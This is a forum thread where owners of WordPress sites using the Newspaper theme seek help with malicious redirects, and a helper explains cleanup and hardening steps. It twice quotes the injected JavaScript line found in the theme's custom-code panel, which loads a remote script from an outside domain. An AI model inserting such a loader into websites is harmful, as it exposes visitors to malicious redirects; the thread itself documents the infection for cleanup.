Hello, I have two accounts with the Newspaper template (both licensed) and both were intrusive. When you enter the site you are redirected to malicious pages. I have many accounts in WordPress with different templates but only with these I have this problem. The accounts are http://www.diariominutocero.com.ar and http://www.xeneizesmillonarios.com.ar
I did a server level restore but the problem was momentarily fixed and reappeared. I do not know what to do anymore, I’m going crazy. Do you support this? Do they have specialists that solve this problem even if it is paying the fees? I await an answer. Regards!
see:
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/
notably the last section
Hello! I do all the tests of the sites listed in the post to analyze malware and detect nothing! It only happens to me with the sites that have the Newspaper template. I did restorations to July. I already updated WordPress and theme to the latest version. Change password for BBDD and all users. However it continues to redirect to other sites … Please help
Well, did you *do* the items in my post, like search/replace in your dbase?
Did you properly update theme by deleting old folder, same with plugins and WP install?
Unless you scrub the infection from your dbase, it will be there forever.
Cheers.
Apparently it is already solved. I searched the entire BBDD from PhpMyAdmin but did not find anything of traffictrade. There was also no evil code in the header ad.
After searching and searching, I found the following code in the control panel of both sites:
YOUR CUSTOM JAVASCRIPT
var p = document.createElement (“script”); p.type = “text / javascript”; p.src = “https://get.simplefunsite.info/rw.js”; document.head.appendChild (p);
At the moment everything is working well. I have the latest version of WordPress, Newspapper and all updated plugins. I also installed Wordfence. I changed the passwords of all the users, including the password of the BBDD. All strong passwords. I also completed the Authentication Unique Keys from wp-config. Do you think I’m protected now?
You know how they managed to get to the control panel of the theme to enter that malicious code? Thanks.
There was a bug in couple versions of theme, hence why always good to check the changelog for new versions, as I noted, for security flaws. Much the same with WordPress … huge number of people got hacked for WP 4.6 by not upgrading to version of 4.7 with all the patches.
So, one flaw allowed injection into the ad panel, solved by simply deleting the ad element; higher level had injection into all the pages via the dbase. So, both things needed to be checked per the links provided.
In any case, glad you got it sorted. 🙂
Just be sure to follow the links in the tutorial post I provided to ‘harden’ your site, as per the codex docs, etc. and you should be good.
Just *always* check changelog for any new updates to themes, plugins, WordPress, and DELETE all old unused themes, plugins — and properly update all things the right way (delete old versions, upload new versions, don’t merge by over-writing). Etc.
Okay. I understand that to update the theme have to delete the old folder and upload the new one. Now the question is if to update WordPress, I use the automatic option from the control panel, this is the same thing?
Same here, what the recommended steps to mitigate consequences when injection has already happened?
As noted, see last section
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/
Hi,
“Apparently it is already solved. I searched the entire BBDD from PhpMyAdmin but did not find anything of traffictrade. There was also no evil code in the header ad.
After searching and searching, I found the following code in the control panel of both sites:
YOUR CUSTOM JAVASCRIPT
var p = document.createElement (“script”); p.type = “text / javascript”; p.src = “https://get.simplefunsite.info/rw.js”; document.head.appendChild (p);
At the moment everything is working well. I have the latest version of WordPress, Newspapper and all updated plugins. I also installed Wordfence. I changed the passwords of all the users, including the password of the BBDD. All strong passwords. I also completed the Authentication Unique Keys from wp-config. Do you think I’m protected now?
You know how they managed to get to the control panel of the theme to enter that malicious code? Thanks.”
I am still getting this problem on my site http://www.manbook.biz. I am looking for where I can find this “your customer javascript” because I have searched everywhere else. Can anyone please tell me where this is? I can only find on the web that it should be under appearance but it is not on my current wordpress control panel.
Thanks in advance for any assistance you may be willing to offer.
Hi All,
found it…it was another js hidden in the theme panel customer code custom java script section. If anyone is still having problems that is another place to look for this hack.
Best Regards
Peter
